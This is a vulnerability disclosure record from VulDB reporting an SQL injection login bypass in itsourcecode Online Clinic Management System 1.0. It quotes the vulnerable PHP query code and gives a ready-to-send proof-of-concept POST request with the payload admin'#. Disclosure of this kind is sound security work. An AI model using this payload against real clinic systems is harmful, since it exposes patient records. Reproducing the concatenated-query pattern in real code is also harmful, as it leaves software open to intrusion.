Submeter #886163: itsourcecode Online Clinic Management System 1.0 SQL Injection

Description:
The admin login uses `htmlspecialchars()` with default `ENT_COMPAT` flag which only escapes double quotes, NOT single quotes. Combined with raw SQL concatenation and MD5 password hashing, this enables SQL injection auth bypass via `admin'#`.

Vulnerable Code:
**File**: `success/login.php`, Lines 17-35
```php
$email = $_POST['username'];
$fpass = $_POST['password'];
// check_input() uses htmlspecialchars(), ENT_COMPAT doesn't escape single quotes
$query = "SELECT * FROM admin WHERE username='$email' AND password=MD5('$fpass')";
$result = mysqli_query($con, $query);
```

Proof of Concept:
```http
POST /success/login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'#&password=anything
```

Impact:
- Complete admin authentication bypass
- Full access to clinic patient records, prescriptions, equipment data
- Union injection enabled — full database extraction

Reference: https://github.com/microwaveabi/vul/issues/63

• Fonte: ⚠️ https://github.com/microwaveabi/vul/issues/63
• Utilizador: microwave (UID 96185)
• Submissão: 11/07/2026 05h18 (há 2 meses)
• Moderação: 24/08/2026 07h43 (1 month later)
• Estado: Aceite
• Entrada VulDB: 394596 [itsourcecode Online Clinic Management System 1.0 Admin Login success/login.php Nome de utilizador Injeção SQL]
• Pontos: 20